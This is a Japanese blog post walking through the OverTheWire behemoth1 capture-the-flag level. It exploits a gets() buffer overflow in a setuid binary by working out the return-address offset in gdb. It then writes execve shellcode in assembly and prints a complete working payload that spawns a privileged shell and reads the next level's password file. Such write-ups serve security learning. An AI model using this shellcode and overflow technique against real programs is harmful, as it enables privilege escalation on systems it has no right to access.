見出し画像

#50 behemoth

 先週、Buffer Overflowについての記事を書きました。今回は、実践編ということで、オンラインで公開されている問題を解いたので、解説したいと思います。

 OverTheWireは、有志によって運営されているWebサイトで、CTF形式のチャレンジが用意されています。その中でもbehemothは、実行ファイルを解析してフラグを取得していくもので、Buffer Overflowを理解していないと手も足も出ません。behemoth1がまさしくBuffer Overflowを使う問題なので、やってみます。

※ネタバレになるので、今後チャレンジする予定の方はここで読むのをやめてください。本当にダメです。


behemoth1

 behemoth1にチャレンジするためには、behemoth0をクリアしてパスワードを取得する必要があります。がんばってください。
SSHでサーバーに接続します。

$ ssh behemoth1@behemoth.labs.overthewire.org -p 2221


調査

 攻略する実行ファイルは、/behemothに配置されています。まずは情報収集しましょう。

$ file /behemoth/behemoth1
behemoth1: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=3a8805decc3b2529cd00f679aa3567f455c4995c, for GNU/Linux 3.2.0, not stripped


$ ltrace /behemoth/behemoth1
__libc_start_main(0x8049196, 1, 0xffffd4e4, 0 <unfinished ...>
printf("Password: ")                                                                                                              = 10
gets(0xffffd3e5, 0, 0xf7d994be, 0xf7fab054Password: a
)                                                                                       = 0xffffd3e5
puts("Authentication failure.\nSorry."Authentication failure.
Sorry.
)                                                                                           = 31
+++ exited (status 0) +++

gets関数を使っていますが、これはダメです。Buffer Overflowに脆弱です。ここを狙う問題のようですね。

 では、GDBで細かい挙動を確認します。少し調べると71バイト分書き込んだところで、Mainのリターンアドレスに到達することがわかります。リターンアドレスをうまく書き換えれば、任意の処理を実行させることができそうです。

gdb> run < <(python3 -c "print(71 * 'A' + 'BBBB')")

[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7fab000 --> 0x229dac 
ECX: 0xf7fac9b4 --> 0x0 
EDX: 0x1 
ESI: 0xffffd4b4 --> 0xffffd62f ("/behemoth/behemoth1")
EDI: 0xf7ffcb80 --> 0x0 
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd400 --> 0x0 
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xffffd400 --> 0x0 
0004| 0xffffd404 --> 0xffffd4b4 --> 0xffffd62f ("/behemoth/behemoth1")
0008| 0xffffd408 --> 0xffffd4bc --> 0xffffd643 ("SHELL=/bin/bash")
0012| 0xffffd40c --> 0xffffd420 --> 0xf7fab000 --> 0x229dac 
0016| 0xffffd410 --> 0xf7fab000 --> 0x229dac 
0020| 0xffffd414 --> 0x8049196 (<main>:	push   ebp)
0024| 0xffffd418 --> 0x1 
0028| 0xffffd41c --> 0xffffd4b4 --> 0xffffd62f ("/behemoth/behemoth1")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV

 今回は、Buffer Overflowでリターンアドレスの書き換えと実行したいコードの書き込みを同時に実現できます。


攻撃コードの作成

 ここが肝です。実行ファイルbehemoth1には、behemoth2のSUIDがついています。つまり、どのユーザーで実行してもbehemoth2の権限で実行されます。今回の目的は、この強い権限を奪って、behemoth2のパスワードを手に入れることです。

送り込む文字列は、

A * 71文字 + リターンアドレス + A * 100文字 + シェルコード

となります。Aの部分はなんでもよいです。リターンアドレスがシェルコードの先頭を指すようにすれば、任意コードが実行されるはずです。


 簡単に、Shellを開くことにしましょう。ただし、bashやdashは、攻撃がうまくいっても権限を落としてしまうことがあるため、shを実行するようにしなければいけません。behemothの/bin/shは、dashのシンボリックリンクとなっているのでダメです。

$ find -name sh
./src/linux-headers-5.15.0-1017-aws/arch/sh
./src/linux-aws-headers-5.15.0-1017/drivers/dma/sh
./src/linux-aws-headers-5.15.0-1017/drivers/sh
./src/linux-aws-headers-5.15.0-1017/tools/perf/arch/sh
./src/linux-aws-headers-5.15.0-1017/arch/sh
./src/linux-aws-headers-5.15.0-1017/scripts/dtc/include-prefixes/sh
./src/linux-aws-headers-5.15.0-1017/sound/soc/sh
./src/linux-aws-headers-5.15.0-1017/sound/sh
./bin/sh
./lib/klibc/bin/sh
./share/bash-completion/completions/sh
./share/dpkg/sh

たぶんどれでもいいのですが、/lib/klibc/bin/shを使うことにして、アセンブリでシェルコードを書きます。

;payload.asm
[SECTION .text]
global _start
_start:
        xor eax, eax
        push eax
        push 0x6873      ;/lib/klibc/bin/sh
        push 0x2f2f6e69
        push 0x622f6362
        push 0x696c6b2f
        push 0x62696c2f
        mov ebx, esp 
        mov ecx, eax
        mov edx, eax
        mov al, 0xb
        int 0x80

コンパイルして、バイト文字列に変換します。

$ nasm -f elf -o payload.o payload.asm
$ ld -m elf_i386 -o payload payload.o
$ for i in $(objdump -d payload |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo
\x31\xc0\x50\x68\x73\x68\x00\x00\x68\x69\x6e\x2f\x2f\x68\x62\x63\x2f\x62\x68\x2f\x6b\x6c\x69\x68\x2f\x6c\x69\x62\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80


GDBで攻撃コードを送り込んでみて、メモリの状況を確認すればリターンアドレスがわかります。findなどで探し当ててください。

最終的な攻撃コードは、こうなりました。

("\x41" * 71) + "\x44\xd4\xff\xff" + ("\x41" * 100) + "\x31\xc0\x50\x68\x73\x68\x00\x00\x68\x69\x6e\x2f\x2f\x68\x62\x63\x2f\x62\x68\x2f\x6b\x6c\x69\x68\x2f\x6c\x69\x62\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"

攻撃の実行

それでは、作成したコードを送り込んでみます。

$ (python2 -c 'print ("\x41" * 71) + "\x44\xd4\xff\xff" + ("\x41" * 100) + \
  "\x31\xc0\x50\x68\x73\x68\x00\x00\x68\x69\x6e\x2f\x2f\x68\x62\x63\x2f\x62\x68\x2f\x6b\x6c\x69\x68\x2f\x6c\x69\x62\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"';\
   cat -) | /behemoth/behemoth1
Password: Authentication failure.
Sorry.
whoami
behemoth2
cat /etc/behemoth_pass/behemoth2
********

Sorryと言われましたが、シェルが開いていてコマンドが実行できます。権限も、期待通りbehemoth2になっています!


まとめ

 behemoth1で問われているのは、基本的な攻撃手法ですが、深くまで理解していないと苦戦します。かくいう私も、bashやdashで権限が落ちてしまうことを知らずハマりました。しかし、長時間格闘した分、力になった実感があります。
 みなさんも、解答を見るのは最終手段にして、苦しんでみてください。

EOF


この記事が気に入ったらサポートをしてみませんか?